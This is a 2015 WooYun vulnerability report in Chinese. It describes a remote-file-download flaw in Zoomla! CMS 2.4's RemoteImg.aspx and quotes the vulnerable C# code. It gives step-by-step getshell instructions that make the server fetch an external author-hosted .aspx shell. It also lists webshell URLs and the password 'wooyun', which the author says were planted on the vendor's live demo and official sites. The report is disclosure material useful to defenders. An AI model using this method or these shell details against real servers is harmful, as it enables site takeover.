当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124696

漏洞标题:逐浪CMS2.4分分钟GetShell影响尚未发布的2.5Beta版

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2015-07-05 16:28

修复时间:2015-07-10 09:39

公开时间:2015-07-10 09:39

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-05: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Zoomla!逐浪CMS软件由上海逐一软件科技有限公司、江西逐浪软件科技有限公司联袂打造,其旗下华夏互联hx008.com开发团队,是华中排名第一的IDC服务商,拥有近十年的网站开发服务经验,一直以来致力于高端的WEB开发,也是国内领先的TOP外包合作商。
作为国产CMS的领先企业和国内首家推出的基于微软公司.NET平台的高端网站内核内容管理系统,Zoomla!逐浪CMS具备八大模块、近百项功能,深得业界好评。
在.NET平台开发的CMS行业,Zoomla!逐浪CMS与四川风讯CMS、北京百榕科技、佛山动易软件等公司,引领国产CMS行业的潮流,已成为业界事实标准。
截止2012年1月10日,Zoomla!逐浪CMS累计被下载次数达到千万人次,其中与CSDN、ChinaZ中国站长站、华军软件、天空下载等网站合作分流下载,并通过展会光盘赠送、邮件投递、程序员聚会现场发布等方式传达,更为Zoomla!逐浪CMS软件积累了较高的用户群体。
建网站,选逐浪。
易上手,功能棒。
质量好,服务善。
高性能,最划算。
关键是下载量 是千万 千万次。。。。。。。。

详细说明:

系统版本:Zoomla!CMS2_x2.4
问题文件:/Plugins/WebUploader/RemoteImg.aspx
辅助文件:http://damotools.apphb.com/getimg.aspx (测试写的小shell具体shell的作用可以访问该地址下载查看 内容也可以是一句话 )

protected void GetPic_Btn_Click(object sender, EventArgs e)
{
...略
for (int i = 0; i < array.Length; i++)
{
string text2 = array[i].ToLower().Replace(" ", "");
if (string.IsNullOrEmpty(text2) || (!text2.Contains("http") && !text2.Contains("https")))
{
function.WriteErrMsg("错误:" + text2);
}
else
{
string text3 = str + this.RemoveChar(Plugins_WebUploader_RemoteImg.GetFNameFromUrl(text2), 1);

/*这个时候text3为文件保存路径,文件名称为 url最后的文件名 例如 http://baidu.com/123.aspx 那么文件名称为123.aspx*/
Plugins_WebUploader_RemoteImg.DownloadFile(text3, text2, 0, "temp");
text = text + text3 + "|";
}
}
略...
}


跟踪这个方法Plugins_WebUploader_RemoteImg.DownloadFile

public static void DownloadFile(string vpath, string url, int begin = 0, string flag = "temp")
{
string path = function.VToP(vpath);
int num = 0;
string value = "0";
if (File.Exists(path))
{
SafeC.DelFile(function.PToV(vpath));
}
string directoryName = Path.GetDirectoryName(path);
if (!Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
FileStream fileStream = new FileStream(path, FileMode.Create);
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);/*创建web请求*/
HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();/*获取响应结果*/
long contentLength = httpWebResponse.ContentLength;/*获取响应数据长度*/
long num2 = contentLength / 100L;
Stream responseStream = httpWebResponse.GetResponseStream();
byte[] buffer = new byte[1024];
int num3;
while ((num3 = responseStream.Read(buffer, 0, 1024)) > 0)/*循环读取流中的数据*/
{
fileStream.Write(buffer, 0, num3);/*写入数据*/
num += num3;
if (!((long)num / num2).ToString().Equals(value))
{
value = ((long)num / num2).ToString();
}
}
responseStream.Close();
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
finally
{
fileStream.Close();
}
}


利用方式:
打开 :url+/Plugins/WebUploader/RemoteImg.aspx
然后在内容框中输入上面的shell远程地址点击确定即可
如图:

dddddddddddd1.png


确定后可能会得到下面的两种结果 第一种为:

逐浪getshell上传错误.png


第二种:

写入一个自写的shell.png


以上两种均已经成功
得到shell地址为:
/UploadFiles/2015/07/getimg.aspx?u=Damo
文件目录根据日期形成,文件名称请看上面我给代码加的注释。?u=Damo 为了避免百度收录或者别人利用 这里加了一个简单的验证而已

漏洞证明:

官方Demo:
一句话地址:http://demo.zoomla.cn/wooyun.aspx 密码wooyun
如图:

逐浪一句话.png


官网一句话:http://zoomla.cn/wooyun.aspx 密码wooyun

官网一句话f.png


案例:详见官网case

修复方案:

程序员懂

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-10 09:39

厂商回复:

但凡系统总有蜜罐再加二次部署,而此问题实非遗漏,感谢反馈。

最新状态:

暂无